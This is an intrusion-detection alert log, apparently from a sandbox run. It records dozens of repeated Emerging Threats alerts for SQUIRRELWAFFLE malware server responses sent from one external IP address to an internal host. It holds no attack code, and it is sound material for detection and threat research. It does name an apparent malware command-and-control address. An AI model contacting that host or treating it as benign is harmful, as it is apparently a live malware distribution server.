10/04/21-16:02:41.589224	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50020	198.38.82.168	192.168.2.3
10/04/21-16:02:41.589224	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50020	198.38.82.168	192.168.2.3
10/04/21-16:02:42.488712	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50023	198.38.82.168	192.168.2.3
10/04/21-16:02:42.488712	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50023	198.38.82.168	192.168.2.3
10/04/21-16:02:42.490471	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50022	198.38.82.168	192.168.2.3
10/04/21-16:02:42.490471	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50022	198.38.82.168	192.168.2.3
10/04/21-16:02:43.282977	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50024	198.38.82.168	192.168.2.3
10/04/21-16:02:43.282977	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50024	198.38.82.168	192.168.2.3
10/04/21-16:02:43.385889	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50025	198.38.82.168	192.168.2.3
10/04/21-16:02:43.385889	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50025	198.38.82.168	192.168.2.3
10/04/21-16:02:44.072890	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50026	198.38.82.168	192.168.2.3
10/04/21-16:02:44.072890	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50026	198.38.82.168	192.168.2.3
10/04/21-16:02:44.294257	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50027	198.38.82.168	192.168.2.3
10/04/21-16:02:44.294257	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50027	198.38.82.168	192.168.2.3
10/04/21-16:02:44.937820	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50028	198.38.82.168	192.168.2.3
10/04/21-16:02:44.937820	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50028	198.38.82.168	192.168.2.3
10/04/21-16:02:45.684062	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50029	198.38.82.168	192.168.2.3
10/04/21-16:02:45.684062	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50029	198.38.82.168	192.168.2.3
10/04/21-16:02:45.710559	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50031	198.38.82.168	192.168.2.3
10/04/21-16:02:45.710559	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50031	198.38.82.168	192.168.2.3
10/04/21-16:02:46.527935	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50033	198.38.82.168	192.168.2.3
10/04/21-16:02:46.527935	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50033	198.38.82.168	192.168.2.3
10/04/21-16:02:46.557720	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50032	198.38.82.168	192.168.2.3
10/04/21-16:02:46.557720	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50032	198.38.82.168	192.168.2.3
10/04/21-16:02:47.348397	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50035	198.38.82.168	192.168.2.3
10/04/21-16:02:47.348397	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50035	198.38.82.168	192.168.2.3
10/04/21-16:02:47.463891	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50036	198.38.82.168	192.168.2.3
10/04/21-16:02:47.463891	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50036	198.38.82.168	192.168.2.3
10/04/21-16:02:48.148348	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50038	198.38.82.168	192.168.2.3
10/04/21-16:02:48.148348	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50038	198.38.82.168	192.168.2.3
10/04/21-16:02:48.549822	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50039	198.38.82.168	192.168.2.3
10/04/21-16:02:48.549822	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50039	198.38.82.168	192.168.2.3
10/04/21-16:02:48.915317	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50040	198.38.82.168	192.168.2.3
10/04/21-16:02:48.915317	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50040	198.38.82.168	192.168.2.3
10/04/21-16:02:49.448778	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50042	198.38.82.168	192.168.2.3
10/04/21-16:02:49.448778	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50042	198.38.82.168	192.168.2.3
10/04/21-16:02:49.779196	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50043	198.38.82.168	192.168.2.3
10/04/21-16:02:49.779196	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50043	198.38.82.168	192.168.2.3
10/04/21-16:02:50.394779	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50044	198.38.82.168	192.168.2.3
10/04/21-16:02:50.394779	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50044	198.38.82.168	192.168.2.3
10/04/21-16:02:50.633421	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50045	198.38.82.168	192.168.2.3
10/04/21-16:02:50.633421	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50045	198.38.82.168	192.168.2.3
10/04/21-16:02:51.194152	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50046	198.38.82.168	192.168.2.3
10/04/21-16:02:51.194152	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50046	198.38.82.168	192.168.2.3
10/04/21-16:02:51.377595	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50047	198.38.82.168	192.168.2.3
10/04/21-16:02:51.377595	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50047	198.38.82.168	192.168.2.3
10/04/21-16:02:52.237699	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50048	198.38.82.168	192.168.2.3
10/04/21-16:02:52.237699	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50048	198.38.82.168	192.168.2.3
10/04/21-16:02:52.299221	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50049	198.38.82.168	192.168.2.3
10/04/21-16:02:52.299221	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50049	198.38.82.168	192.168.2.3
10/04/21-16:02:53.039660	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50050	198.38.82.168	192.168.2.3
10/04/21-16:02:53.039660	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50050	198.38.82.168	192.168.2.3
10/04/21-16:02:53.132050	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50051	198.38.82.168	192.168.2.3
10/04/21-16:02:53.132050	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50051	198.38.82.168	192.168.2.3
10/04/21-16:02:53.912867	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50053	198.38.82.168	192.168.2.3
10/04/21-16:02:53.912867	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50053	198.38.82.168	192.168.2.3
10/04/21-16:02:53.920669	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50052	198.38.82.168	192.168.2.3
10/04/21-16:02:53.920669	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50052	198.38.82.168	192.168.2.3
10/04/21-16:02:54.703422	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50054	198.38.82.168	192.168.2.3
10/04/21-16:02:54.703422	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50054	198.38.82.168	192.168.2.3
10/04/21-16:02:54.927629	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50055	198.38.82.168	192.168.2.3
10/04/21-16:02:54.927629	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50055	198.38.82.168	192.168.2.3
10/04/21-16:02:55.699818	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50056	198.38.82.168	192.168.2.3
10/04/21-16:02:55.699818	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50056	198.38.82.168	192.168.2.3
10/04/21-16:02:55.886123	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50057	198.38.82.168	192.168.2.3
10/04/21-16:02:55.886123	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50057	198.38.82.168	192.168.2.3
10/04/21-16:02:56.552653	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50058	198.38.82.168	192.168.2.3
10/04/21-16:02:56.552653	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50058	198.38.82.168	192.168.2.3
10/04/21-16:02:56.831428	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50059	198.38.82.168	192.168.2.3
10/04/21-16:02:56.831428	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50059	198.38.82.168	192.168.2.3
10/04/21-16:02:57.461375	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50060	198.38.82.168	192.168.2.3
10/04/21-16:02:57.461375	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50060	198.38.82.168	192.168.2.3
10/04/21-16:02:57.733552	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50061	198.38.82.168	192.168.2.3
10/04/21-16:02:57.733552	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50061	198.38.82.168	192.168.2.3
10/04/21-16:02:58.270605	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50062	198.38.82.168	192.168.2.3
10/04/21-16:02:58.270605	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50062	198.38.82.168	192.168.2.3
10/04/21-16:02:58.652411	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50063	198.38.82.168	192.168.2.3
10/04/21-16:02:58.652411	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50063	198.38.82.168	192.168.2.3
10/04/21-16:02:59.060308	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50064	198.38.82.168	192.168.2.3
10/04/21-16:02:59.060308	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50064	198.38.82.168	192.168.2.3
10/04/21-16:02:59.458815	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50065	198.38.82.168	192.168.2.3
10/04/21-16:02:59.458815	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50065	198.38.82.168	192.168.2.3
10/04/21-16:02:59.908372	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50066	198.38.82.168	192.168.2.3
10/04/21-16:02:59.908372	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50066	198.38.82.168	192.168.2.3
10/04/21-16:03:00.332357	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50067	198.38.82.168	192.168.2.3
10/04/21-16:03:00.332357	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50067	198.38.82.168	192.168.2.3
10/04/21-16:03:00.792613	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50068	198.38.82.168	192.168.2.3
10/04/21-16:03:00.792613	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50068	198.38.82.168	192.168.2.3
10/04/21-16:03:01.225712	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50069	198.38.82.168	192.168.2.3
10/04/21-16:03:01.225712	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50069	198.38.82.168	192.168.2.3
10/04/21-16:03:01.694315	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50070	198.38.82.168	192.168.2.3
10/04/21-16:03:01.694315	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50070	198.38.82.168	192.168.2.3
10/04/21-16:03:02.054747	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50071	198.38.82.168	192.168.2.3
10/04/21-16:03:02.054747	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50071	198.38.82.168	192.168.2.3
10/04/21-16:03:02.548755	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50072	198.38.82.168	192.168.2.3
10/04/21-16:03:02.548755	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50072	198.38.82.168	192.168.2.3
10/04/21-16:03:03.014790	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50073	198.38.82.168	192.168.2.3
10/04/21-16:03:03.014790	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50073	198.38.82.168	192.168.2.3
10/04/21-16:03:03.388342	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50074	198.38.82.168	192.168.2.3
10/04/21-16:03:03.388342	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50074	198.38.82.168	192.168.2.3
10/04/21-16:03:03.974730	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50075	198.38.82.168	192.168.2.3
10/04/21-16:03:03.974730	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50075	198.38.82.168	192.168.2.3
10/04/21-16:03:04.173904	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50076	198.38.82.168	192.168.2.3
10/04/21-16:03:04.173904	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50076	198.38.82.168	192.168.2.3
10/04/21-16:03:04.801961	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50077	198.38.82.168	192.168.2.3
10/04/21-16:03:04.801961	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50077	198.38.82.168	192.168.2.3
10/04/21-16:03:05.053630	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50078	198.38.82.168	192.168.2.3
10/04/21-16:03:05.053630	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50078	198.38.82.168	192.168.2.3
10/04/21-16:03:05.733027	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50079	198.38.82.168	192.168.2.3
10/04/21-16:03:05.733027	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50079	198.38.82.168	192.168.2.3
10/04/21-16:03:05.959059	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50080	198.38.82.168	192.168.2.3
10/04/21-16:03:05.959059	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50080	198.38.82.168	192.168.2.3
10/04/21-16:03:06.634602	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50081	198.38.82.168	192.168.2.3
10/04/21-16:03:06.634602	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50081	198.38.82.168	192.168.2.3
10/04/21-16:03:06.747303	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50082	198.38.82.168	192.168.2.3
10/04/21-16:03:06.747303	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50082	198.38.82.168	192.168.2.3
10/04/21-16:03:07.561807	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50084	198.38.82.168	192.168.2.3
10/04/21-16:03:07.561807	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50084	198.38.82.168	192.168.2.3
10/04/21-16:03:07.616947	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50085	198.38.82.168	192.168.2.3
10/04/21-16:03:07.616947	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50085	198.38.82.168	192.168.2.3
10/04/21-16:03:08.382567	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50087	198.38.82.168	192.168.2.3
10/04/21-16:03:08.382567	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50087	198.38.82.168	192.168.2.3
10/04/21-16:03:08.405243	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50086	198.38.82.168	192.168.2.3
10/04/21-16:03:08.405243	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50086	198.38.82.168	192.168.2.3
10/04/21-16:03:09.217406	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50088	198.38.82.168	192.168.2.3
10/04/21-16:03:09.217406	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50088	198.38.82.168	192.168.2.3
10/04/21-16:03:09.262108	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50089	198.38.82.168	192.168.2.3
10/04/21-16:03:09.262108	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50089	198.38.82.168	192.168.2.3
10/04/21-16:03:10.087654	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50091	198.38.82.168	192.168.2.3
10/04/21-16:03:10.087654	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50091	198.38.82.168	192.168.2.3
10/04/21-16:03:10.090468	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50090	198.38.82.168	192.168.2.3
10/04/21-16:03:10.090468	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50090	198.38.82.168	192.168.2.3
10/04/21-16:03:10.974679	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50092	198.38.82.168	192.168.2.3
10/04/21-16:03:10.974679	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50092	198.38.82.168	192.168.2.3
10/04/21-16:03:10.985430	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50093	198.38.82.168	192.168.2.3
10/04/21-16:03:10.985430	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50093	198.38.82.168	192.168.2.3
10/04/21-16:03:11.725763	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50094	198.38.82.168	192.168.2.3
10/04/21-16:03:11.725763	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50094	198.38.82.168	192.168.2.3
10/04/21-16:03:11.764182	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50095	198.38.82.168	192.168.2.3
10/04/21-16:03:11.764182	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50095	198.38.82.168	192.168.2.3
10/04/21-16:03:12.522464	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50096	198.38.82.168	192.168.2.3
10/04/21-16:03:12.522464	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50096	198.38.82.168	192.168.2.3
10/04/21-16:03:12.619047	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50097	198.38.82.168	192.168.2.3
10/04/21-16:03:12.619047	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50097	198.38.82.168	192.168.2.3
10/04/21-16:03:13.298291	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50098	198.38.82.168	192.168.2.3
10/04/21-16:03:13.298291	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50098	198.38.82.168	192.168.2.3
10/04/21-16:03:13.398264	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50099	198.38.82.168	192.168.2.3
10/04/21-16:03:13.398264	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50099	198.38.82.168	192.168.2.3
10/04/21-16:03:14.040069	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50100	198.38.82.168	192.168.2.3
10/04/21-16:03:14.040069	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50100	198.38.82.168	192.168.2.3
10/04/21-16:03:14.454890	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50101	198.38.82.168	192.168.2.3
10/04/21-16:03:14.454890	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50101	198.38.82.168	192.168.2.3
10/04/21-16:03:14.815561	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50102	198.38.82.168	192.168.2.3
10/04/21-16:03:14.815561	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50102	198.38.82.168	192.168.2.3
10/04/21-16:03:16.320521	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50103	198.38.82.168	192.168.2.3
10/04/21-16:03:16.320521	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50103	198.38.82.168	192.168.2.3
10/04/21-16:03:17.489633	ICMP	402	ICMP Destination Unreachable Port Unreachable			192.168.2.3	8.8.8.8
10/04/21-16:03:30.426838	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50130	198.38.82.168	192.168.2.3
10/04/21-16:03:30.426838	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50130	198.38.82.168	192.168.2.3
10/04/21-16:03:31.303275	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50132	198.38.82.168	192.168.2.3
10/04/21-16:03:31.303275	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50132	198.38.82.168	192.168.2.3
10/04/21-16:03:32.195822	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50134	198.38.82.168	192.168.2.3
10/04/21-16:03:32.195822	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50134	198.38.82.168	192.168.2.3
10/04/21-16:03:33.179267	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50136	198.38.82.168	192.168.2.3
10/04/21-16:03:33.179267	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50136	198.38.82.168	192.168.2.3
10/04/21-16:03:33.981454	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50138	198.38.82.168	192.168.2.3
10/04/21-16:03:33.981454	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50138	198.38.82.168	192.168.2.3
10/04/21-16:03:34.907670	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50140	198.38.82.168	192.168.2.3
10/04/21-16:03:34.907670	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50140	198.38.82.168	192.168.2.3
10/04/21-16:03:35.784360	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50143	198.38.82.168	192.168.2.3
10/04/21-16:03:35.784360	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50143	198.38.82.168	192.168.2.3
10/04/21-16:03:36.489898	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50144	198.38.82.168	192.168.2.3
10/04/21-16:03:36.489898	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50144	198.38.82.168	192.168.2.3
10/04/21-16:03:36.612438	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50145	198.38.82.168	192.168.2.3
10/04/21-16:03:36.612438	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50145	198.38.82.168	192.168.2.3
10/04/21-16:03:37.500903	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50147	198.38.82.168	192.168.2.3
10/04/21-16:03:37.500903	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50147	198.38.82.168	192.168.2.3
10/04/21-16:03:38.300491	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50148	198.38.82.168	192.168.2.3
10/04/21-16:03:38.300491	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50148	198.38.82.168	192.168.2.3
10/04/21-16:03:39.209694	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50150	198.38.82.168	192.168.2.3
10/04/21-16:03:39.209694	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50150	198.38.82.168	192.168.2.3
10/04/21-16:03:40.068641	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50151	198.38.82.168	192.168.2.3
10/04/21-16:03:40.068641	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50151	198.38.82.168	192.168.2.3
10/04/21-16:03:40.984357	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50152	198.38.82.168	192.168.2.3
10/04/21-16:03:40.984357	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50152	198.38.82.168	192.168.2.3
10/04/21-16:03:41.898406	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50153	198.38.82.168	192.168.2.3
10/04/21-16:03:41.898406	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50153	198.38.82.168	192.168.2.3
10/04/21-16:03:42.809406	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50154	198.38.82.168	192.168.2.3
10/04/21-16:03:42.809406	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50154	198.38.82.168	192.168.2.3
10/04/21-16:03:43.034736	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50155	198.38.82.168	192.168.2.3
10/04/21-16:03:43.034736	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50155	198.38.82.168	192.168.2.3
10/04/21-16:03:44.062784	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50157	198.38.82.168	192.168.2.3
10/04/21-16:03:44.062784	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50157	198.38.82.168	192.168.2.3
10/04/21-16:03:44.929792	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50158	198.38.82.168	192.168.2.3
10/04/21-16:03:44.929792	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50158	198.38.82.168	192.168.2.3
10/04/21-16:03:45.831291	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50159	198.38.82.168	192.168.2.3
10/04/21-16:03:45.831291	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50159	198.38.82.168	192.168.2.3
10/04/21-16:03:46.679500	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50160	198.38.82.168	192.168.2.3
10/04/21-16:03:46.679500	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50160	198.38.82.168	192.168.2.3
10/04/21-16:03:47.531234	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50161	198.38.82.168	192.168.2.3
10/04/21-16:03:47.531234	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50161	198.38.82.168	192.168.2.3
10/04/21-16:03:48.496822	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50162	198.38.82.168	192.168.2.3
10/04/21-16:03:48.496822	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50162	198.38.82.168	192.168.2.3
10/04/21-16:03:48.706465	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50156	198.38.82.168	192.168.2.3
10/04/21-16:03:48.706465	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50156	198.38.82.168	192.168.2.3
10/04/21-16:03:49.905151	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50163	198.38.82.168	192.168.2.3
10/04/21-16:03:49.905151	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50163	198.38.82.168	192.168.2.3
10/04/21-16:03:50.180586	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50164	198.38.82.168	192.168.2.3
10/04/21-16:03:50.180586	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50164	198.38.82.168	192.168.2.3
10/04/21-16:03:52.173948	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50166	198.38.82.168	192.168.2.3
10/04/21-16:03:52.173948	TCP	2033982	ET TROJAN SQUIRRELWAFFLE Server Response	80	50166	198.38.82.168	192.168.2.3
10/04/21-16:03:52.275311	TCP	2033984	ET TROJAN Possible SQUIRRELWAFFLE Server Response	80	50165	198.38.82.168	192.168.2.3
